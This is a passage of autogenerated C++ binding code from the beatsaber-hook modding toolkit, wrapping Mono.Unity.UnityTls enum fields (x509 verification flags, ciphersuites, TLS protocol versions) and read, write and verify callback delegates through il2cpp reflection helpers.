THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_FLAG_USER_ERROR1", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_FLAG_USER_ERROR2 ::Mono::Unity::UnityTls::unitytls_x509verify_result Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_FLAG_USER_ERROR2() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_FLAG_USER_ERROR2"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_x509verify_result>("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_FLAG_USER_ERROR2")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_FLAG_USER_ERROR2 void Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_FLAG_USER_ERROR2(::Mono::Unity::UnityTls::unitytls_x509verify_result value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_FLAG_USER_ERROR2"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_FLAG_USER_ERROR2", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_FLAG_USER_ERROR3 ::Mono::Unity::UnityTls::unitytls_x509verify_result Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_FLAG_USER_ERROR3() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_FLAG_USER_ERROR3"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_x509verify_result>("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_FLAG_USER_ERROR3")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_FLAG_USER_ERROR3 void Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_FLAG_USER_ERROR3(::Mono::Unity::UnityTls::unitytls_x509verify_result value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_FLAG_USER_ERROR3"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_FLAG_USER_ERROR3", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_FLAG_USER_ERROR4 ::Mono::Unity::UnityTls::unitytls_x509verify_result Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_FLAG_USER_ERROR4() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_FLAG_USER_ERROR4"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_x509verify_result>("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_FLAG_USER_ERROR4")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_FLAG_USER_ERROR4 void Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_FLAG_USER_ERROR4(::Mono::Unity::UnityTls::unitytls_x509verify_result value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_FLAG_USER_ERROR4"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_FLAG_USER_ERROR4", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_FLAG_USER_ERROR5 ::Mono::Unity::UnityTls::unitytls_x509verify_result Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_FLAG_USER_ERROR5() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_FLAG_USER_ERROR5"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_x509verify_result>("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_FLAG_USER_ERROR5")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_FLAG_USER_ERROR5 void Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_FLAG_USER_ERROR5(::Mono::Unity::UnityTls::unitytls_x509verify_result value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_FLAG_USER_ERROR5"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_FLAG_USER_ERROR5", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_FLAG_USER_ERROR6 ::Mono::Unity::UnityTls::unitytls_x509verify_result Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_FLAG_USER_ERROR6() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_FLAG_USER_ERROR6"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_x509verify_result>("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_FLAG_USER_ERROR6")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_FLAG_USER_ERROR6 void Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_FLAG_USER_ERROR6(::Mono::Unity::UnityTls::unitytls_x509verify_result value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_FLAG_USER_ERROR6"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_FLAG_USER_ERROR6", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_FLAG_USER_ERROR7 ::Mono::Unity::UnityTls::unitytls_x509verify_result Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_FLAG_USER_ERROR7() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_FLAG_USER_ERROR7"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_x509verify_result>("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_FLAG_USER_ERROR7")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_FLAG_USER_ERROR7 void Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_FLAG_USER_ERROR7(::Mono::Unity::UnityTls::unitytls_x509verify_result value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_FLAG_USER_ERROR7"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_FLAG_USER_ERROR7", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_FLAG_USER_ERROR8 ::Mono::Unity::UnityTls::unitytls_x509verify_result Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_FLAG_USER_ERROR8() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_FLAG_USER_ERROR8"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_x509verify_result>("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_FLAG_USER_ERROR8")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_FLAG_USER_ERROR8 void Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_FLAG_USER_ERROR8(::Mono::Unity::UnityTls::unitytls_x509verify_result value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_FLAG_USER_ERROR8"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_FLAG_USER_ERROR8", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_FLAG_UNKNOWN_ERROR ::Mono::Unity::UnityTls::unitytls_x509verify_result Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_FLAG_UNKNOWN_ERROR() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_get_UNITYTLS_X509VERIFY_FLAG_UNKNOWN_ERROR"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_x509verify_result>("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_FLAG_UNKNOWN_ERROR")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result UNITYTLS_X509VERIFY_FLAG_UNKNOWN_ERROR void Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_FLAG_UNKNOWN_ERROR(::Mono::Unity::UnityTls::unitytls_x509verify_result value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::_set_UNITYTLS_X509VERIFY_FLAG_UNKNOWN_ERROR"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_x509verify_result", "UNITYTLS_X509VERIFY_FLAG_UNKNOWN_ERROR", value)); } // Autogenerated instance field getter // Get instance field: public System.UInt32 value__ uint& Mono::Unity::UnityTls::unitytls_x509verify_result::dyn_value__() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_result::dyn_value__"); auto ___internal__instance = *this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "value__"))->offset; return *reinterpret_cast(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_callback #include "Mono/Unity/UnityTls_unitytls_x509verify_callback.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result #include "Mono/Unity/UnityTls_unitytls_x509verify_result.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509_ref #include "Mono/Unity/UnityTls_unitytls_x509_ref.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_callback.Invoke ::Mono::Unity::UnityTls::unitytls_x509verify_result Mono::Unity::UnityTls::unitytls_x509verify_callback::Invoke(void* userData, ::Mono::Unity::UnityTls::unitytls_x509_ref cert, ::Mono::Unity::UnityTls::unitytls_x509verify_result result, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_callback::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(userData), ::il2cpp_utils::ExtractType(cert), ::il2cpp_utils::ExtractType(result), ::il2cpp_utils::ExtractType(errorState)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_x509verify_result, false>(this, ___internal__method, userData, cert, result, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_callback.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_x509verify_callback::BeginInvoke(void* userData, ::Mono::Unity::UnityTls::unitytls_x509_ref cert, ::Mono::Unity::UnityTls::unitytls_x509verify_result result, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_callback::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(userData), ::il2cpp_utils::ExtractType(cert), ::il2cpp_utils::ExtractType(result), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, userData, cert, result, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_callback.EndInvoke ::Mono::Unity::UnityTls::unitytls_x509verify_result Mono::Unity::UnityTls::unitytls_x509verify_callback::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_x509verify_callback::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_x509verify_result, false>(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_ciphersuite #include "Mono/Unity/UnityTls_unitytls_ciphersuite.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_ciphersuite UNITYTLS_CIPHERSUITE_INVALID ::Mono::Unity::UnityTls::unitytls_ciphersuite Mono::Unity::UnityTls::unitytls_ciphersuite::_get_UNITYTLS_CIPHERSUITE_INVALID() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_ciphersuite::_get_UNITYTLS_CIPHERSUITE_INVALID"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_ciphersuite>("Mono.Unity", "UnityTls/unitytls_ciphersuite", "UNITYTLS_CIPHERSUITE_INVALID")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_ciphersuite UNITYTLS_CIPHERSUITE_INVALID void Mono::Unity::UnityTls::unitytls_ciphersuite::_set_UNITYTLS_CIPHERSUITE_INVALID(::Mono::Unity::UnityTls::unitytls_ciphersuite value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_ciphersuite::_set_UNITYTLS_CIPHERSUITE_INVALID"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_ciphersuite", "UNITYTLS_CIPHERSUITE_INVALID", value)); } // Autogenerated instance field getter // Get instance field: public System.UInt32 value__ uint& Mono::Unity::UnityTls::unitytls_ciphersuite::dyn_value__() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_ciphersuite::dyn_value__"); auto ___internal__instance = *this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "value__"))->offset; return *reinterpret_cast(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_protocol #include "Mono/Unity/UnityTls_unitytls_protocol.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_protocol UNITYTLS_PROTOCOL_TLS_1_0 ::Mono::Unity::UnityTls::unitytls_protocol Mono::Unity::UnityTls::unitytls_protocol::_get_UNITYTLS_PROTOCOL_TLS_1_0() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_protocol::_get_UNITYTLS_PROTOCOL_TLS_1_0"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_protocol>("Mono.Unity", "UnityTls/unitytls_protocol", "UNITYTLS_PROTOCOL_TLS_1_0")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_protocol UNITYTLS_PROTOCOL_TLS_1_0 void Mono::Unity::UnityTls::unitytls_protocol::_set_UNITYTLS_PROTOCOL_TLS_1_0(::Mono::Unity::UnityTls::unitytls_protocol value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_protocol::_set_UNITYTLS_PROTOCOL_TLS_1_0"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_protocol", "UNITYTLS_PROTOCOL_TLS_1_0", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_protocol UNITYTLS_PROTOCOL_TLS_1_1 ::Mono::Unity::UnityTls::unitytls_protocol Mono::Unity::UnityTls::unitytls_protocol::_get_UNITYTLS_PROTOCOL_TLS_1_1() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_protocol::_get_UNITYTLS_PROTOCOL_TLS_1_1"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_protocol>("Mono.Unity", "UnityTls/unitytls_protocol", "UNITYTLS_PROTOCOL_TLS_1_1")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_protocol UNITYTLS_PROTOCOL_TLS_1_1 void Mono::Unity::UnityTls::unitytls_protocol::_set_UNITYTLS_PROTOCOL_TLS_1_1(::Mono::Unity::UnityTls::unitytls_protocol value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_protocol::_set_UNITYTLS_PROTOCOL_TLS_1_1"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_protocol", "UNITYTLS_PROTOCOL_TLS_1_1", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_protocol UNITYTLS_PROTOCOL_TLS_1_2 ::Mono::Unity::UnityTls::unitytls_protocol Mono::Unity::UnityTls::unitytls_protocol::_get_UNITYTLS_PROTOCOL_TLS_1_2() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_protocol::_get_UNITYTLS_PROTOCOL_TLS_1_2"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_protocol>("Mono.Unity", "UnityTls/unitytls_protocol", "UNITYTLS_PROTOCOL_TLS_1_2")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_protocol UNITYTLS_PROTOCOL_TLS_1_2 void Mono::Unity::UnityTls::unitytls_protocol::_set_UNITYTLS_PROTOCOL_TLS_1_2(::Mono::Unity::UnityTls::unitytls_protocol value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_protocol::_set_UNITYTLS_PROTOCOL_TLS_1_2"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_protocol", "UNITYTLS_PROTOCOL_TLS_1_2", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_protocol UNITYTLS_PROTOCOL_INVALID ::Mono::Unity::UnityTls::unitytls_protocol Mono::Unity::UnityTls::unitytls_protocol::_get_UNITYTLS_PROTOCOL_INVALID() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_protocol::_get_UNITYTLS_PROTOCOL_INVALID"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_protocol>("Mono.Unity", "UnityTls/unitytls_protocol", "UNITYTLS_PROTOCOL_INVALID")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_protocol UNITYTLS_PROTOCOL_INVALID void Mono::Unity::UnityTls::unitytls_protocol::_set_UNITYTLS_PROTOCOL_INVALID(::Mono::Unity::UnityTls::unitytls_protocol value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_protocol::_set_UNITYTLS_PROTOCOL_INVALID"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_protocol", "UNITYTLS_PROTOCOL_INVALID", value)); } // Autogenerated instance field getter // Get instance field: public System.UInt32 value__ uint& Mono::Unity::UnityTls::unitytls_protocol::dyn_value__() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_protocol::dyn_value__"); auto ___internal__instance = *this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "value__"))->offset; return *reinterpret_cast(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_write_callback #include "Mono/Unity/UnityTls_unitytls_tlsctx_write_callback.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_write_callback.Invoke ::System::IntPtr Mono::Unity::UnityTls::unitytls_tlsctx_write_callback::Invoke(void* userData, uint8_t* data, ::System::IntPtr bufferLen, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_tlsctx_write_callback::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(userData), ::il2cpp_utils::ExtractType(data), ::il2cpp_utils::ExtractType(bufferLen), ::il2cpp_utils::ExtractType(errorState)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(this, ___internal__method, userData, data, bufferLen, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_write_callback.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_tlsctx_write_callback::BeginInvoke(void* userData, uint8_t* data, ::System::IntPtr bufferLen, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_tlsctx_write_callback::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(userData), ::il2cpp_utils::ExtractType(data), ::il2cpp_utils::ExtractType(bufferLen), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, userData, data, bufferLen, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_write_callback.EndInvoke ::System::IntPtr Mono::Unity::UnityTls::unitytls_tlsctx_write_callback::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_tlsctx_write_callback::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_read_callback #include "Mono/Unity/UnityTls_unitytls_tlsctx_read_callback.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_read_callback.Invoke ::System::IntPtr Mono::Unity::UnityTls::unitytls_tlsctx_read_callback::Invoke(void* userData, uint8_t* buffer, ::System::IntPtr bufferLen, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_tlsctx_read_callback::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(userData), ::il2cpp_utils::ExtractType(buffer), ::il2cpp_utils::ExtractType(bufferLen), ::il2cpp_utils::ExtractType(errorState)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(this, ___internal__method, userData, buffer, bufferLen, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_read_callback.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_tlsctx_read_callback::BeginInvoke(void* userData, uint8_t* buffer, ::System::IntPtr bufferLen, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_tlsctx_read_callback::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(userData), ::il2cpp_utils::ExtractType(buffer), ::il2cpp_utils::ExtractType(bufferLen), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, userData, buffer, bufferLen, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_read_callback.EndInvoke ::System::IntPtr Mono::Unity::UnityTls::unitytls_tlsctx_read_callback::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_tlsctx_read_callback::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include 